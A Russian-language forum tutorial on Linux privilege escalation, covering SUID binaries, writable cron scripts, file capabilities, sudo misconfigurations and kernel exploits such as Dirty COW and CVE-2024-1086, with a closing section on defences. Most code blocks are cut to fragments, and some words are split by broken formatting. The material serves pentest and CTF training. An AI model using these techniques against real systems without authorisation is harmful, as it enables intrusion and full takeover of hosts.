![]() |
https://forum.antichat.xyz/attachmen...6665864b05.png
Ты только что получил шелл от Код:
www-dataКод:
/etc/shadowКод:
Permission deniedЗдесь я разберу четыре основных вектора эскалации привилегий: SUID-бинари, cron-задачи, Linux capabilities и kernel exploits. Не абстрактную теорию - конкретные команды с реальным выводом терминала и объяснением, почему каждый приём работает на уровне Unix-прав. Материал построен так, как я сам провожу post-exploitation на пентестах и при прохождении машин на HackTheBox. Фаза нулевая: разведка системы перед эскалацией Прежде чем бросаться эксплуатировать что-либо - пойми, с чем имеешь дело. Enumeration - фундамент любого повышения привилегий в Linux. Без разведки ты стреляешь вслепую. Ручная разведка: что проверять первым делом Получив низкопривилегированный шелл, первым делом стабилизируй его. Ограниченная оболочка не даст нормально работать с sudo и интерактивными командами: Bash: Код:
python3 -cBash: Код:
# Кто я и в каких группахАвтоматизированные инструменты для Linux privesc Ручная разведка - хорошо, но автоматизация экономит время. Три инструмента, которые я гоняю постоянно: LinPEAS - самый жирный скрипт для поиска векторов эскалации привилегий. Цветовая кодировка: красно-жёлтая подсветка - 95% вероятность рабочего вектора. Bash: Код:
# Загрузка и запуск на целевой машинеКод:
/etc/crontabBash: Код:
# Загружаем pspy на целевую машину и запускаемТеперь к конкретным техникам. SUID эксплуатация Linux: когда бинарник делает тебя root SUID (Set User ID) - специальный бит разрешений в Unix. Когда он установлен на исполняемый файл, тот запускается не от имени текущего пользователя, а от имени владельца файла. Владелец - root? Поздравляю, ты фактически выполняешь код с root-привилегиями. В терминологии MITRE ATT&CK это техника Setuid and Setgid (T1548.001), которая относится к тактикам privilege-escalation и defense-evasion. Поиск уязвимых SUID-бинарей Bash: Код:
findКод: Код:
/usr/bin/passwdКод:
/usr/bin/passwdКод:
/usr/bin/sudoКод:
findКод:
vimКод:
bashКод:
nmapЭксплуатация SUID find Допустим, Код:
findКод:
findКод:
-execКод:
findBash: Код:
# Проверяем SUID на findКод:
-pКод:
sudoКод:
-pЭксплуатация SUID vim Bash: Код:
vimЭксплуатация SUID bash Самый простой случай. Если Код:
/usr/bin/bashBash: Код:
bashКод:
euid=0(root)Код:
/etc/shadowКод:
/etc/passwdГлавный ресурс для поиска способов злоупотребления SUID - проект GTFOBins. Там собраны сотни бинарей с описанием, как через каждый из них получить shell, читать/писать файлы или обойти ограничения. Если нашёл нестандартный SUID - первым делом иди туда. Повышение привилегий через cron: когда расписание работает на тебя Cron - планировщик задач в Linux, выполняющий скрипты по расписанию. По MITRE ATT&CK это техника Cron (T1053.003), которая одновременно относится к тактикам execution, persistence и privilege-escalation. Суть атаки простая: если cron выполняет скрипт от root, а у тебя есть право на запись в этот скрипт - ты контролируешь код, который выполнится с root-привилегиями. Разведка cron-задач Bash: Код:
# Системные cron-задачиКод:
rwxrwxrwxЭксплуатация writable cron-скрипта Несколько вариантов. Самый надёжный - создать SUID-копию bash: Bash: Код:
# Перезаписываем скриптBash: Код:
echoКод:
nc -lvnp 4444Скрытые cron-задачи и pspy Не все cron-задачи видны в Код:
/etc/crontabКод:
www-dataBash: Код:
./pspy64Код:
/opt/scripts/cleanup.shLinux capabilities эксплуатация: тонкий контроль с грубыми последствиями Capabilities - механизм, который разбивает монолитные root-привилегии на мелкие единицы. Вместо полного root-доступа файлу можно выдать конкретную «способность»: например, Код:
cap_net_bind_serviceИдея красивая. Проблема в том, что некоторые capabilities дают фактический root-доступ, а админы не всегда это понимают (или понимают, но «временно, потом уберём»). Поиск файлов с capabilities Bash: Код:
getcap -r /Код:
cap_net_rawКод:
cap_setuidКод:
+epЭксплуатация cap_setuid на Python Capability Код:
cap_setuidBash: Код:
/usr/bin/python3.8 -cКод:
os.setuid(0)Код:
cap_setuidКод:
/bin/bashЭксплуатация cap_setuid на Perl Bash: Код:
/usr/bin/perl -eКод:
setuid(0)Другие опасные capabilities CapabilityПочему опаснаВектор эксплуатацииcap_setuidСмена UID на 0Прямое переключение на rootcap_setgidСмена GIDПрисоединение к группе root/shadowcap_dac_overrideИгнорирование прав на файлыЧтение/запись /etc/shadowcap_dac_read_searchЧтение любых файловИзвлечение паролей из конфиговcap_sys_adminМонтирован е файловых системМонтирование хостовой ФС Вектор, который русскоязычные руководства по Linux privesc почти не покрывают. В моей практике capabilities встречаются на CTF-машинах среднего уровня и на реальных серверах, где разработчики «временно» выдали capability контейнеру или скрипту. Временное, как известно, самое постоянное. Sudo misconfiguration: когда администратор сам открывает дверь Техника Sudo and Sudo Caching (T1548.003) по MITRE ATT&CK. Первая команда после получения шелла - Код:
sudo -lКод:
www-dataТипичные опасные разрешения sudo Bash: Код:
sudoBash: Код:
# Через find (sudo уже даёт uid=0, поэтому -p не нужен)Более хитрый вектор, но крайне редкий на реальных системах. По умолчанию sudo сбрасывает переменные окружения ( Код:
env_resetКод:
/etc/sudoersКод:
Defaults env_keep+=LD_PRELOADBash: Код:
# Создаём вредоносную shared libraryКод:
LD_PRELOADKernel exploit Linux: последний довод пентестера Kernel exploits - техника Exploitation for Privilege Escalation (T1068) по MITRE ATT&CK. Эксплойты ядра дают прямой root, но я всегда оставляю их на крайний случай. Причины чисто практические: kernel exploit может уронить систему, оставить следы в логах, а на реальном пентесте завалить прод - верный способ потерять заказчика. Тем не менее знать ключевые уязвимости необходимо. Dirty COW (CVE-2016-5195) По данным NVD, CVE-2016-5195 - race condition в Код:
mm/gup.cКод:
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:HСложность атаки Код:
AC:HBash: Код:
# Разведка - проверяем версию ядраCVE-2024-1086: современная угроза CVE-2024-1086 - use-after-free в компоненте Код:
nf_tablesКод:
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HОбрати внимание на разницу с DirtyCOW: здесь Код:
AC:L
Код:
nft_verdict_init()Код:
nf_hook_slow()Эксплуатация зависит от доступности unprivileged user namespaces к Код:
nf_tablesКод:
modprobe_pathПредупреждение от CrowdStrike (и лично от меня): после закрытия root shell, полученного через этот эксплойт, целевая система становится нестабильной и может упасть. На реальном пентесте это означает потенциальный инцидент. Использование kernel exploits без согласования с заказчиком - грубая ошибка. Как искать подходящий kernel exploit Bash: Код:
# Узнаём версию ядраСобираем все техники в единый процесс. Представь: ты получил шелл от Код:
www-dataШаг 1 - Стабилизация и базовая разведка: Bash: Код:
python3 -cBash: Код:
# SUIDBash: Код:
# Если предыдущие шаги ничего не дали - запускаем LinPEASКод:
getcapКод:
cap_setuid+epBash: Код:
/usr/bin/python3 -cBash: Код:
idЧем реальный пентест отличается от CTF На CTF-машинах уязвимость всегда одна, и она гарантированно эксплуатируется. В реальном пентесте всё иначе: АспектCTFРеальный пентестКоличество векторовОдин заложенныйМожет быть ноль или десятьСтабильность эксплойтовГарантированаKern el exploit может уронить продВремяНеограниченоЖёст кий scope и дедлайнПоследствия ошибкиНичего страшногоИнцидент у заказчикаЛогированиеНе отслеживаетсяSIEM фиксирует всё Исследование Got Root? (arxiv.org) подчёркивает: конфигурационные уязвимости (SUID, sudo, cron) чаще ищутся вручную, а version-based exploits детектируются автоматически. Прокачка навыка ручной разведки даёт больший эффект, чем запоминание конкретных CVE. Лично я всегда начинаю руками - LinPEAS запускаю, только если ручной проход ничего не дал. Рекомендации по защите от локального повышения привилегий Для каждого вектора - конкретные меры: Против SUID-эксплуатации: Bash: Код:
# Аудит SUID-файловBash: Код:
# Скрипты cron - владелец root, права 700Bash: Код:
# АудитОбщий принцип - Principle of Least Privilege: каждый пользователь и процесс получают только те права, которые нужны для работы. Не больше. Звучит банально, но 90% описанных в статье векторов существуют именно потому, что кто-то выдал лишнее. Итог Повышение привилегий в Linux - не магия и не набор хаков для копирования. Это системный процесс: разведка, анализ, эксплуатация. SUID, cron, capabilities и kernel exploits - четыре столпа, на которых стоит большинство реальных эскалаций. Научись находить их вручную, пойми механику Unix-прав - и автоматизированные инструменты вроде LinPEAS станут не костылём, а усилителем. Разверни уязвимую машину на TryHackMe (комната «Linux PrivEsc» от Tib3rius) или Hackerlab и пройди весь workflow от шелла до root. Повтори пять раз - и повышение привилегий станет рефлексом. Потренировавшись на кошках, можно и на реальный проект. |
| Время: 19:29 |